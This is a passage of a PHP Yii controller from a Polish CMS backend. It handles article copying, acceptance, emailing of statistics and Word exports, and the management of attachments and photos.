            foreach($modelBase->tags as $modelBaseTag) {
                $modelRelationWithTag = new ArticlesHasArticlesTags();
                $modelRelationWithTag->id_tag = $modelBaseTag->id_tag;
                $modelRelationWithTag->id_article = $model->id_article;
                if(!$modelRelationWithTag->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_article]);
                } 
                
                $modelBaseTag->quantity += 1;
                if(!$modelBaseTag->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_article]);
                } 
            }
        }
        
        $idsFairs = $modelBase->getRelationsWithFairs()->select(['id_fair'])->column();
        if(!empty($idsFairs)) {
            foreach($idsFairs as $idFair) {
                $modelRelationWithFair = new \common\models\FairsHasArticles();
                $modelRelationWithFair->id_fair = $idFair;
                $modelRelationWithFair->id_article = $model->id_article;
                if(!$modelRelationWithFair->save(false)) {
                    $transaction->rollBack();
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['view', 'id' => $modelBase->id_article]);
                } 
            }
        }
        
        $flag = true;
        $createdDirectiories = [];
        
        if($flag && file_exists(Yii::getAlias('@articlesImagesRealPath').'/'.$modelBase->id_article.'/')) {
            $createdDirectiories[] = Yii::getAlias('@articlesImagesRealPath').'/'.$model->id_article.'/';
            $this->copyDir(Yii::getAlias('@articlesImagesRealPath').'/'.$modelBase->id_article.'/', Yii::getAlias('@articlesImagesRealPath').'/'.$model->id_article.'/');
        }
        if($flag && file_exists(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelBase->id_article.'/')) {
            $createdDirectiories[] = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$model->id_article.'/';
            $this->copyDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelBase->id_article.'/', Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$model->id_article.'/');
        }
        if($flag && file_exists(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelBase->id_article.'/')) {
            $createdDirectiories[] = Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$model->id_article.'/';
            $this->copyDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelBase->id_article.'/', Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$model->id_article.'/');
        }
        if($flag && file_exists(Yii::getAlias('@articlesAttachmentsRealPath').'/'.$modelBase->id_article.'/')) {
            $createdDirectiories[] = Yii::getAlias('@articlesAttachmentsRealPath').'/'.$model->id_article.'/';
            $this->copyDir(Yii::getAlias('@articlesAttachmentsRealPath').'/'.$modelBase->id_article.'/', Yii::getAlias('@articlesAttachmentsRealPath').'/'.$model->id_article.'/');
        }
        
        if(!$flag) {
            $transaction->rollBack();
            if(!empty($createdDirectiories)) {
                foreach($createdDirectiories as $createdDirectiory) {
                    $this->removeDir($createdDirectiory);
                }
            }
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            return $this->redirect(['view', 'id' => $modelBase->id_article]);
        }
        
        $transaction->commit();
        Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
        ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_CREATE);
        return $this->redirect(['view', 'id' => $model->id_article]);        
    }
    
    public function actionAccept($id)
    {        
        $model = $this->findModel($id);
        
        if($model->acceptance_status === AcceptanceStatus::ACCEPTED) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $model->acceptance_status = AcceptanceStatus::ACCEPTED;
        $model->status = Status::ACTIVE;
        $flag = $model->save();
        
        if($flag && !empty($model->id_company)) {
            $idsPresentations = \common\models\CompaniesPresentations::find()
                    ->select('id_presentation')
                    ->where([
                        'id_company' => $model->id_company,
                        'id_portal' => $model->listPortals,
                        'status' => Status::ACTIVE
                    ])
                    ->column();
            if(!empty($idsPresentations)) {
                foreach($idsPresentations as $idPresentation) {
                    PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PUBLICATIONS]);
                }
            }
        }
        
        $flag = $flag && $this->sendMailAboutAcceptance($model);
        $flag = $flag && IndexArticles::refreshRecord($model->id_article);
        
        if($flag) {
            $transaction->commit();
            ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));            
        }
        else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_article]);
    }
    
    protected function sendMailAboutAcceptance($model) 
    {
        if(empty($model->emails)) {
            return true;
        }
 
        $modelMainPortal = $smtpSettings = null;
        $modelPortals = \common\models\Portals::find()->where(['id_portal' => $model->listPortals])->all();
        foreach($modelPortals as $modelPortal) {
            $modelMainPortal = $modelPortal;
            $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
            if(!empty($smtpSettings)) {
                break;
            }            
        }        
        if(empty($smtpSettings)) {
            return false;
        }

        //wysyłamy emaile z powiadomieniem o publikacji artykułu (###MAIL_14###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = false;
        $mailer->textLayout = false;
        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
                    ->setUsername($smtpSettings['username'])
                    ->setPassword($smtpSettings['password']);
        $message = $mailer->compose(
                [
                    'html' => 'article_acceptance_html',
                    'text' => 'article_acceptance_text'
                ],
                [
                    'model' => $model, 
                    'modelPortals' => $modelPortals,
                    'domain' => $modelMainPortal->domain,
                    'orSSL' => (int)$modelMainPortal->getSettingsKey('or_ssl') === 1,
                    'thumbnailUrl' => !empty($model->image_filename) ? \Yii::getAlias('@common/web/'.\common\components\helpers\Image2::getUrl($model->getImageUrl(), '80x60', !empty($model->image_transform) ? $model->image_transform : \common\components\helpers\Image2::OPERATION_CROP, Articles::getAcceptedSizes())) : null,
                ]
            )
            ->setFrom([$smtpSettings['username'] => $modelMainPortal->domain.' - system vManager'])
            ->setSubject(Yii::t('common-mails', 'Publikacja artykułu [{id}] : {title}', ['id' => $model->id_article, 'title' => strip_tags($model->title)]));
        
        foreach($model->emails as $email) {
            $message->setTo([$email => $email]);
            if($message->send() === false) {
                return false;
            }
        }
        
        return true;
    }
    
    public function actionReportToCorrect($id)
    {        
        $model = $this->findModel($id);
        
        if($model->acceptance_status === AcceptanceStatus::TO_CORRECT) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $model->acceptance_status = AcceptanceStatus::TO_CORRECT;
        $model->status = Status::HIDDEN;
        $flag = $model->save();
        
        if($flag && !empty($model->id_company)) {
            $idsPresentations = \common\models\CompaniesPresentations::find()
                    ->select('id_presentation')
                    ->where([
                        'id_company' => $model->id_company,
                        'id_portal' => $model->listPortals,
                        'status' => Status::ACTIVE
                    ])
                    ->column();
            if(!empty($idsPresentations)) {
                foreach($idsPresentations as $idPresentation) {
                    PresentationsHelper::refreshTabsActivityStatus($idPresentation, [PresentationsTabs::TAB_PUBLICATIONS]);
                }
            }
        }
        
        $flag = $flag && IndexArticles::refreshRecord($model->id_article);
        
        if($flag) {
            $transaction->commit();
            ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));            
        }
        else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
        }
        
        return $this->redirect(['view', 'id' => $model->id_article]);
    }
    
    public function actionShowStats($id)
    {        
        $this->layout = false;
        
        $model = $this->findModel($id);
        
        $idOperator = Yii::$app->request->get('id_operator');
        $idPortal = Yii::$app->request->get('id_portal');
        
        if(empty($idOperator) || empty($idPortal)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
        
        $modelOperator = Users::find()
            ->select(['id_user', 'forename', 'surname'])
            ->with([
                'contactData' => function($q) {
                    $q->orderBy('data_order');
                }
            ])
            ->where(['id_user' => $idOperator])
            ->one();
            
        $modelPortal = \common\models\Portals::findOne($idPortal);
        
        if(empty($modelOperator) || empty($modelPortal)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
        
        return $this->render('show_stats', [
            'model' => $model,
            'modelPortal' => $modelPortal,
            'modelOperator' => $modelOperator
        ]);
    }

    public function actionSendStats($id)
    {        
        $model = $this->findModel($id);
        $idOperator = Yii::$app->request->get('id_operator');
        
        if(empty($idOperator) || empty($model->portals)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
        
        $modelOperatorRecipient = Users::find()
            ->select(['id_user', 'forename', 'surname'])
            ->with([
                'contactData' => function($q) {
                    $q->where([
                        'required' => 1,
                        'data_type' => ContactDataType::EMAIL
                    ]);
                }
            ])
            ->where(['id_user' => $idOperator])
            ->one();
            
        if(empty($modelOperatorRecipient)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
            
        $modelMainPortal = null;
        $smtpSettings = [];
        foreach($model->portals as $modelPortal) {
            $smtpSettings = $modelPortal->getSettingsKey('smtp_settings');
            if(!empty($smtpSettings)) {
                $modelMainPortal = $modelPortal;
                break;
            }
        }
        
        if(empty($modelMainPortal)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }

        $tempFilePath = Yii::getAlias('@runtime')."/temp/art_".$model->id_article."_stats.html";
        $targetFilePath = Yii::getAlias('@runtime')."/temp/art_".$model->id_article."_stats.pdf";
        $opts = ['http' => ['header'=> 'Cookie: ' . $_SERVER['HTTP_COOKIE']."\r\n"]];
        $context = stream_context_create($opts);
        Yii::$app->session->close();
        $contents = file_get_contents(Yii::$app->urlManager->createAbsoluteUrl(['articles/show-stats', 'id' => $model->id_article, 'id_operator' => $modelOperatorRecipient->id_user, 'id_portal' => $modelMainPortal->id_portal]), false, $context);
        Yii::$app->session->open();
        file_put_contents($tempFilePath, $contents);
        unset($contents);

//        $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '');    
        $output = \common\components\helpers\PuppeteerHtmlToPdf::save('file:///'.$tempFilePath, $targetFilePath, '-T=31 -B=31 -L=31 -R=31');    
        if($output['return'] !== 0) { 
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }            
            
        //wysyłamy mail ze statystykami (z załącznikiem) (###MAIL_15###)
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text'; 
        $mailer->transport = (new \Swift_SmtpTransport($smtpSettings['host'], $smtpSettings['port'], $smtpSettings['encryption']))
            ->setUsername($smtpSettings['username'])
            ->setPassword($smtpSettings['password']);
        $flag = $mailer->compose(
                    [
                        'html' => 'send_article_stats_html',
                        'text' => 'send_article_stats_text'
                    ],
                    [
                        'model' => $model,  
                        'domain' => $modelMainPortal->domain,
                        'orSSL' => (int)$modelMainPortal->getSettingsKey('or_ssl'),
                        'thumbnailUrl' => !empty($model->image_filename) ? \Yii::getAlias('@common/web/'.\common\components\helpers\Image2::getUrl($model->getImageUrl(), '80x60', !empty($model->image_transform) ? $model->image_transform : \common\components\helpers\Image2::OPERATION_CROP, Articles::getAcceptedSizes())) : null,
                    ]
                )
                ->setFrom([$smtpSettings['username'] => $modelMainPortal->domain.' - system vManager'])
                ->setSubject(Yii::t('common-mails', 'Statystyki publikacji [{id}] : {title}', ['id' => $model->id_article, 'title' => strip_tags($model->title)])) 
                ->attach($targetFilePath)
                ->setTo($modelOperatorRecipient->contactData[0]->data_value)
                ->send();
            
        if($flag) {    
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
        }
            
        @unlink($tempFilePath);
        @unlink($targetFilePath); 
       
        return $this->redirect(['view', 'id' => $model->id_article]);
    }
    
    public function actionGetAsWordDocument($id)
    {        
        $this->layout = false;
        
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('viewArticles', ['model' => $model])) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));       
        }
        
        $tempFilePath = \common\components\WordDocumentGenerator::generateArticle($model);
        
        $fileInfo = pathinfo($tempFilePath);
        $outputFileName = $fileInfo['basename'];
        
        Yii::$app->getResponse()->sendFile($tempFilePath, $outputFileName);
        
        @unlink($tempFilePath);
    }
    
    public function actionSendWordDocument($id)
    {        
        $model = $this->findModel($id);
        
        $idOperator = Yii::$app->request->get('id_operator');
        $annotations = Yii::$app->request->get('annotations');
        
        if(empty($idOperator) || empty($model->portals)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
        
        $modelOperatorRecipient = Users::find()
            ->select(['id_user', 'forename', 'surname'])
            ->with([
                'contactData' => function($q) {
                    $q->where([
                        'required' => 1,
                        'data_type' => ContactDataType::EMAIL
                    ]);
                }
            ])
            ->where(['id_user' => $idOperator])
            ->one();
            
        if(empty($modelOperatorRecipient)) {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['view', 'id' => $model->id_article]);
        }
        
        $tempFilePath = \common\components\WordDocumentGenerator::generateArticle2($model);
        
        //wysyłamy mail z artykułem w formacie Word (w załączniku) (###MAIL_85###)
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text'; 
        $flag = $mailer->compose(
                    [
                        'html' => 'send_article_word_document_html',
                        'text' => 'send_article_word_document_text'
                    ],
                    [
                        'model' => $model,  
                        'annotations' => $annotations
                    ]
                )
                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                ->setSubject(Yii::t('common-mails', 'Artykuł [{idArticle}]: {title}: [{idCompany}] {companyName}', ['idArticle' => $model->id_article, 'title' => strip_tags($model->title), 'idCompany' => $model->id_company, 'companyName' => !empty($model->id_company) ? $model->company->name : ''])) 
                ->attach($tempFilePath)
                ->setTo($modelOperatorRecipient->contactData[0]->data_value)
                ->send();
            
        if($flag) {    
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
        }
            
        @unlink($tempFilePath);
       
        return $this->redirect(['view', 'id' => $model->id_article]);
    }
    
    public function actionCategoriesTrees()
    {
        $idArticle = Yii::$app->request->get('id_article');
        $idsPortals = explode(",", Yii::$app->request->get('ids_portals'));
        
        if(!empty($idArticle)) {
            $modelArticle = $this->findModel($idArticle);
            $articleCategories = array_map(function($item) { return intval($item); }, $modelArticle->listCategories);
        }
        else {
            $articleCategories = [];
        }
        
        if(!empty($idsPortals) && is_numeric($idsPortals[0])) {
            $portals = \common\models\Portals::find()->select(['id_portal', 'name'])->where(['id_portal' => $idsPortals])->indexBy('id_portal')->orderBy('name')->asArray()->all();
            $portalsCategories = ArticlesCategories::getJSONCategoryTrees($idsPortals, $articleCategories);
        } else {
            $portals = $portalsCategories = [];
        }

        return $this->renderAjax('categories_trees', [
            'portals' => $portals,
            'categories' => $portalsCategories
        ]);
    }
        
    /**
     * Creates a new ArticlesAttachments model.
     * If creation is successful, the browser will be redirected to the 'update' page.
     * @return mixed
     */
    public function actionCreateAttachment()
    {
        $model = new ArticlesAttachments(['scenario' => 'create']);
        $modelArticle = $this->findModel(intval(Yii::$app->request->get('id_article')));
        $model->id_article = $modelArticle->id_article;
                
//        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $model->load(Yii::$app->request->post())) {
//            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
//            return \yii\bootstrap\ActiveForm::validate($model, ['filename']);
//        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_attachment', ['model' => $model, 'modelArticle' => $modelArticle]);
            }
            
            $model->loadFile();
            
            if(!empty($model->file)) {
                $model->url = null;
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_attachment', ['model' => $model, 'modelArticle' => $modelArticle]);
            }
            
            $newFilePath = (!empty($model->file)) ? $model->saveFile() : null;
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('create_attachment', ['model' => $model, 'modelArticle' => $modelArticle]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsArticlesAttachments = ArticlesAttachments::find()->where(['>=', 'attachment_order', $model->attachment_order])->andWhere(['id_article' => $model->id_article])->all();
            if(!empty($modelsArticlesAttachments)) {                
                array_walk($modelsArticlesAttachments, function($modelArticlesAttachments, $key) use (&$flag) {
                    $modelArticlesAttachments->attachment_order += 1;
                    if(!$flag || !$modelArticlesAttachments->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
                ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_article]);
                } 
                else {
                    $model = new ArticlesAttachments(['scenario' => 'create']);
                    $model->id_article = intval(Yii::$app->request->get('id_article', null));
                }
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_attachment', [
            'model' => $model,
            'modelArticle' => $modelArticle
        ]);
    }
    
    /**
     * Updates an existing ArticlesAttachments model.
     * If update is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdateAttachment($id)
    {
        $model = $this->findModelAttachment($id);
        
        if(!empty($model->url)) {
            $model->setScenario('update-url-version');
            $isUrlAttachment = true;
        } else {
            $model->setScenario('update-file-version');
            $isUrlAttachment = false;
        }
        
        $outputParams = [
            'model' => $model,
            'isUrlAttachment' => $isUrlAttachment
        ];
        
        if(Yii::$app->request->getIsPost()) {  
            $oldOrder = intval($model->getOldAttribute('attachment_order'));
            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            if(!$isUrlAttachment) {
                $oldFilePath = $model->loadFile();
                $model->url = null;
            } else {
                $oldFilePath = null;
                $model->filename = null;
            }
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('update_attachment', $outputParams);
            }
            
            if(!$isUrlAttachment) {
                $newFilePath = $model->saveFile();
                if($newFilePath === false) {
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                    return $this->conditionalRender('update_attachment', $outputParams);
                }
            } else {
                $newFilePath = null;
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $newOrder = intval($model->attachment_order);
            
            if($newOrder !== $oldOrder) {
                if($newOrder > $oldOrder) {
                    $modelsArticlesAttachments = ArticlesAttachments::find()
                        ->where(['<=', 'attachment_order', $newOrder])
                        ->andWhere(['>', 'attachment_order', $oldOrder])
                        ->andWhere(['id_article' => $model->id_article])
                        ->andWhere(['!=', 'id_attachment', $model->id_attachment])
                        ->all();
                    if(!empty($modelsArticlesAttachments)) {                
                        array_walk($modelsArticlesAttachments, function($modelArticlesAttachments, $key) use (&$flag) {
                            $modelArticlesAttachments->attachment_order -= 1;
                            if(!$flag || !$modelArticlesAttachments->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                } else {
                    $modelsArticlesAttachments = ArticlesAttachments::find()
                        ->where(['<', 'attachment_order', $oldOrder])
                        ->andWhere(['>=', 'attachment_order', $newOrder])
                        ->andWhere(['id_article' => $model->id_article])
                        ->andWhere(['!=', 'id_attachment', $model->id_attachment])
                        ->all();
                    if(!empty($modelsArticlesAttachments)) {                
                        array_walk($modelsArticlesAttachments, function($modelArticlesAttachments, $key) use (&$flag) {
                            $modelArticlesAttachments->attachment_order += 1;
                            if(!$flag || !$modelArticlesAttachments->save(false)) {
                                $flag = false;
                            }
                        });
                    }
                }
            }
            
            if ($flag && $model->save(false)) {
                @unlink($oldFilePath);
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
                TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
                if(!Yii::$app->request->isPjax) {
                    return $this->redirect(['update', 'id' => $model->id_article]);
                }
            } else {
                @unlink($newFilePath);
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('update_attachment', $outputParams);
    }

    /**
     * Deletes an existing ArticlesAttachments model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeleteAttachment($id)
    {
        $model = $this->findModelAttachment($id);
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $model->delete();
        
        if($flag !== false) {
            $modelsArticlesAttachments = ArticlesAttachments::find()
                ->andWhere(['>', 'attachment_order', $model->attachment_order])
                ->andWhere(['id_article' => $model->id_article])
                ->andWhere(['!=', 'id_attachment', $model->id_attachment])
                ->all();
            if(!empty($modelsArticlesAttachments)) {                
                array_walk($modelsArticlesAttachments, function($modelArticlesAttachments, $key) use (&$flag) {
                    $modelArticlesAttachments->attachment_order -= 1;
                    if(!$flag || !$modelArticlesAttachments->save(false)) {
                        $flag = false;
                    }
                });
            }
        }
                
        if($flag) {
            $transaction->commit();
            ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
            TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
        } else {
            $transaction->rollBack();
        }
        
        return Yii::$app->getResponse()->redirect(['articles/update', 'id' => $model->id_article], 302, false);
    }
    
    /**
     * Creates a new ArticlesPhotos model.
     * 
     * @return mixed
     */
    public function actionCreatePhoto()
    {
        $model = new ArticlesPhotos(['scenario' => 'create']);
        $modelArticle = $this->findModel(intval(Yii::$app->request->get('id_article')));
        $model->id_article = $modelArticle->id_article;
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('create_photo', ['model' => $model, 'modelArticle' => $modelArticle]);
            }
            
            $model->loadImageFile();
            
            if(!$model->validate()) {
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->conditionalRender('create_photo', ['model' => $model, 'modelArticle' => $modelArticle]);
            }
            
            $newFilePath = $model->saveImageFile();
            if($newFilePath === false) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.'));
                return $this->conditionalRender('create_photo', ['model' => $model, 'modelArticle' => $modelArticle]);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            $modelsArticlesPhotos = ArticlesPhotos::find()->where(['>=', 'photo_order', $model->photo_order])->andWhere(['id_article' => $model->id_article])->all();
            if(!empty($modelsArticlesPhotos)) {                
                array_walk($modelsArticlesPhotos, function($modelArticlesPhotos, $key) use (&$flag) {
                    $modelArticlesPhotos->photo_order += 1;
                    if(!$flag || !$modelArticlesPhotos->save(false)) {
                        $flag = false;
                    }
                });
            }
            
            if ($flag && $model->save(false)) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
                ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
                $model = new ArticlesPhotos(['scenario' => 'create']);
                $model->id_article = intval(Yii::$app->request->get('id_article', null));
            } else {
                $transaction->rollBack();
                ArticlesPhotos::deleteImage($newFilePath);
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->conditionalRender('create_photo', [
            'model' => $model,
            'modelArticle' => $modelArticle
        ]);
    }
    
    /**
     * Creates a new ArticlesPhotos model.
     * 
     * @return mixed
     */
    public function actionUploadPhoto()
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        
        if(($modelArticle = Articles::findOne(intval(Yii::$app->request->post('id_article')))) === null) {
            return ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        $maxPhotoOrder = $modelArticle->getPhotos()->select(['photo_order'])->max('photo_order');
        
        $model = new ArticlesPhotos(['scenario' => 'create']);
        $model->id_article = $modelArticle->id_article;
        $model->title = 'Tutaj musisz cokolwiek wpisać...';
        $model->photo_order = intval($maxPhotoOrder) + 1;
        
        $model->file = \yii\web\UploadedFile::getInstancesByName('images');
        if(!$model->file) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.')];
        } 
        if(is_array($model->file) && isset($model->file[0])) {
            $model->file = $model->file[0];
        }
        $model->filename = ArticlesPhotos::createFileName($model->file->baseName, $model->file->extension);
            
        if(!$model->validate()) {
            return ['error' => implode(" | ", $model->getErrors())];
        }
            
        $newFilePath = $model->saveImageFile();
        if(!$newFilePath) {
            return ['error' => Yii::t('backend', 'Wystąpił błąd podczas zapisywania pliku na serwerze.')];
        }
        
        if(!$model->save(false)) {
            ArticlesPhotos::deleteImage($newFilePath);
            return ['error' => Yii::t('backend', 'Błąd podczas zapisu.')];
        }
        
//        $idNewPhoto = 101;
        
        $output = [
            'initialPreview' => [
                $model->getImageUrl(true)
//                'http://www.vmanager-common.test/uploads/images/articles/137/gallery/frame/200x200/nitecoretube-998154001520479461.jpg'
            ],
            'initialPreviewConfig' => [[
                'caption' => 'nitecoretube-998154001520479461.jpg', 
                'caption' => $model->filename,
                'width' => '120px', 
//                'url' => '/articles/delete-photo/'.$idNewPhoto, // server delete action 
                'url' => '/articles/delete-photo/'.$model->id_photo, // server delete action 
//                'key' => $idNewPhoto, 
                'key' => $model->id_photo, 
//                'extra' => ['id' => $idNewPhoto]
                'extra' => ['id' => $model->id_photo]
            ]]
        ];
        
        TagDependency::invalidate(Yii::$app->frontendCache, ['article_'.$model->id_article]);
        ArticlesChangelogs::addEntry($model->id_article, Yii::$app->user->identity, ArticlesChangelogs::ACTION_UPDATE);
        
        return $output;
    }
    
    /**
     * Deletes an existing ArticlesPhotos model.
     * If deletion is successful, the browser will be redirected to the 'update' page.
     * @param integer $id
     * @return mixed
     */
    public function actionDeletePhoto($id)
    {
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        $this->layout = false;
        $output = [];        
        
        if(($model = ArticlesPhotos::findOne($id)) === null) {
            $output = ['error' => Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')];
        } 
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = $model->delete();
        
        if($flag !== false) {
            $modelsArticlesPhotos = ArticlesPhotos::find()
                ->andWhere(['>', 'photo_order', $model->photo_order])
                ->andWhere(['id_article' => $model->id_article])
                ->andWhere(['!=', 'id_photo', $model->id_photo])
                ->all();
            if(!empty($modelsArticlesPhotos)) {                
                array_walk($modelsArticlesPhotos, function($modelArticlesPhotos, $key) use (&$flag) {
                    $modelArticlesPhotos->photo_order -= 1;
                    if(!$flag || !$modelArticlesPhotos->save(false)) {
                        $flag = false;
                    }
                });
            }
        }
